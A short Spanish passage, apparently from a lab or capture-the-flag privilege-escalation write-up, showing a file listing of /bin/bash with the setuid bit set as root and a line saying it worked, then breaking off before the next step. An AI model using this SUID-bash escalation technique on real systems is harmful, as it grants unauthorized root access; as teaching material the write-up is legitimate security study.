-rwsr-xr-x 1 root root 1265648 Mar 29 2024 /bin/bash
Vemos que ha funcionado por lo que haremos lo siguiente: